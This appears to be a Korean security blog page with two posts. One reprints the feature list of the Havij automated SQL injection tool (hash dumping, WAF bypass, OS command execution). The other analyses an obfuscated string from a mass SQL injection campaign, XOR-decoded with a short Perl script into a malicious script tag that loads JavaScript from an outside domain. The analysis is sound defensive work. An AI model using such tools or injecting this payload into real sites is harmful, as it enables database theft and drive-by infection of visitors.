'sql injection'에 해당되는 글 2건

  1. 2011.04.14 Havij v1.14 Advanced SQL Injection
  2. 2009.03.12 작년 12월에 나왔던 새로운 SQL Injection 패턴 분석(?) 4
0x04 reference&tools2011. 4. 14. 21:09






Description:

Havij is an automated SQL Injection tool that helps penetration testers to find and exploit SQL Injection vulnerabilities on a web page.

It can take advantage of a vulnerable web application. By using this software user can perform back-end database fingerprint, retrieve DBMS users and  password hashes, dump tables and columns, fetching data from the database, running SQL  statements and even accessing the underlying file system and executing commands on the  operating system.

The power of Havij that makes it different from similar tools is its injection methods. The success rate is more than 95% at injectiong vulnerable targets using Havij.

The user friendly GUI (Graphical User Interface) of Havij and automated settings and detections makes it easy to use for everyone even amateur users.


Features:

 

Items

Free version Commercial version
1. Supported Databases with injection methods:    
          MsSQL 2000/2005 with error
          MsSQL 2000/2005 no error union based
          MsSQL Blind
          MySQL time based
          MySQL union based
          MySQL Blind
          MySQL error based
          MySQL time based
          Oracle union based
          Oracle error based
          PostgreSQL union based
          MsAccess union based
          MsAccess Blind
          Sybase (ASE)
          Sybase (ASE) Blind
2. HTTPS Support
3. Proxy support
4. Automatic database detection
5. Automatic type detection (string or integer)
6. Automatic keyword detection (finding difference between the positive and negative response)
7. Trying different injection syntaxes
8. Options for replacing space by /**/,+,... against IDS or filters
9. Avoid using strings (magic_quotes similar filters bypass)
10. Manual injection syntax support
11. Manual queries with result
12. Bypassing illegal union
13. Full customizable http headers (like referer,user agent and ...)
14. Load cookie from site for authentication
15. Http Basic and Digest authentication
16. Injecting URL rewrite pages
17. Bypassing mod_security web application firewall and similar firewalls
18. Real time result
19. Guessing tables and columns in mysql<5 (also in blind) and MsAccess
20. Fast getting tables and columns for mysql
21. Executing SQL query in Oracle database
22. Getting one row in one request (all in one request)
23. Dumping data into file
24. Saving data as XML format
25. View every injection request sent by program
26. Enabling xp_cmdshell and remote desktop
27. Multi thread Admin page finder
28. Multi thread Online MD5 cracker
29. Getting DBMS Informations
30. Getting tables, columns and data
31. Command executation (mssql only)
32. Reading system files (mysql only)
33. insert/update/delete data
 

 


패킷 떠서 분석해봐야겠군요..후후후






 

Posted by demantos
0x02 analysis2009. 3. 12. 19:20



<raqmtr$r{c<jwpt<+.z1/absnd*bfm.hs*nu:=&sbpjtp8



이 녀석이죠.. 기억나시죠?
전 그때 좀 보다가 당췌 무슨말인지 이해할 수가 없어서 그냥 지나갔었는데 이 글을 보고 계신 고수님들께서는 해석해 보신 분들이 있지 않을까 생각됩니다.

좀 늦은감이 없지 않아 있지만 갑자기 생각나서 검색 들어갔습니다.
대부분의 Injection된 사이트들의 링크가 나오고 Viruslab님과 My Hacked Story님의 블로그에서 간단하게 소개 정도만 나왔습니다.
그래서 검색된 사이트 전부 뒤지다보니 일본 사이트가 나오더군요..

http://d.hatena.ne.jp/hasegawayosuke/20090116/p1

번역기를 돌려 대충 문맥만 이해해봤습니다.
이 사이트에서는 추측으로 악성스크립트 형태를 만들어 내고 있었는데

<raqmtr$r{c<jwpt<+.z1/absnd*bfm.hs*nu:=&sbpjtp8
<script src=***********************************

대부분의 악성코드들이 <script src= 이라는 형태로 시작하기에 위와 같은 추측을 했답니다.
그리고 마지막은 ></script> 형태를 띄게 되죠..
영문자는 영문자로 기호는 기호로 변환된다는 생각을 했다고 합니다.

<raqmtr$r{c<jwpt<+.z1/absnd*bfm.hs*nu:=&sbpjtp8
<script src=http://******************></script>

글자수도 일치합니다...우연의 일치인지...
이 상황에서 기호를 기호로 추측해서 변환을 해보면

<raqmtr$r{c<jwpt<+.z1/absnd*bfm.hs*nu:=&sbpjtp8
<script src=http://**.*****.***/**.js></script>

이렇게 나온답니다.
왠지 그럴싸하게 맞아 들어가지 않나요? ㅎㅎ

마지막에 보니(번역기 돌린 후에) 이런 말이 번역되어 있었습니다.

"회답 나왔다."

누군가 해석을 했다는 의미인 듯 합니다.
그래서 링크를 따라가 보았습니다. 세개의 링크가 있었는데 그 중 가장 인상 깊었던 링크만 정리해 보겠습니다.

http://d.hatena.ne.jp/callee/20090116/p1

이 블로그에서는 XOR 연산을 염두에 두고 있었습니다. 재미있는건 이 암호(?)를 해독하기 위해 perl로 간단한 스크립트를 짰다는 것입니다.

use strict;
use warnings;

my @a = split '', '<raqmtr$r{c<jwpt<+.z1/absnd*bfm.iq*nu:=&sbpjtp8';

my @b = split '', '<script src=http://s1.cawjb.com/kr.js></script>';
for ( my $i = 0; $i < @a; $i++ ) {
 print ord($a[$i]) ^ ord($b[$i]);
 print "\n" if $i % 10 == 9;
}


원문에서는 링크가 되는게 싫어서 도메인명에 '.' 대신 '_'를 붙였다고 했는데 전 '.'을 넣어서 스크립트를 실행했습니다.
그리고 원문에서는 '0123446419'의 반복 패턴으로 XOR을 취하는 듯 하다고 합니다.
실제로 위 스크립트를 실행해보면 다음과 같은 결과가 나옵니다.

0123446419
0123446419
0123446419
0123446419


모두 똑같은 결과가 나왔습니다!!




개인적인 생각이긴 하지만 누군가 자기만의 암호화 법칙을 <script src=http://s1.cawjb.com/kr.js></script> 에 적용시켜

SQL Injection을 수행한게 아닌가 생각됩니다. 물론 그냥 심심해서...ㅎㅎ

이상한걸 온라인에 잠깐 퍼트려서 사람들의 궁금증을 유발시켜 도전해 볼 수 있는 그런 챌린지 문제가 아닌가 하는 생각도 들구요..



간만에 재미있는 녀석 봤습니다.

앞에서도 말씀드렸지만 제가 해석한게 아니고 일본사람이 해석한 걸 그냥 옮겼을 뿐입니다. ^^;



이제 회식자리에 가야겠습니다. ㅎㅎ




Posted by demantos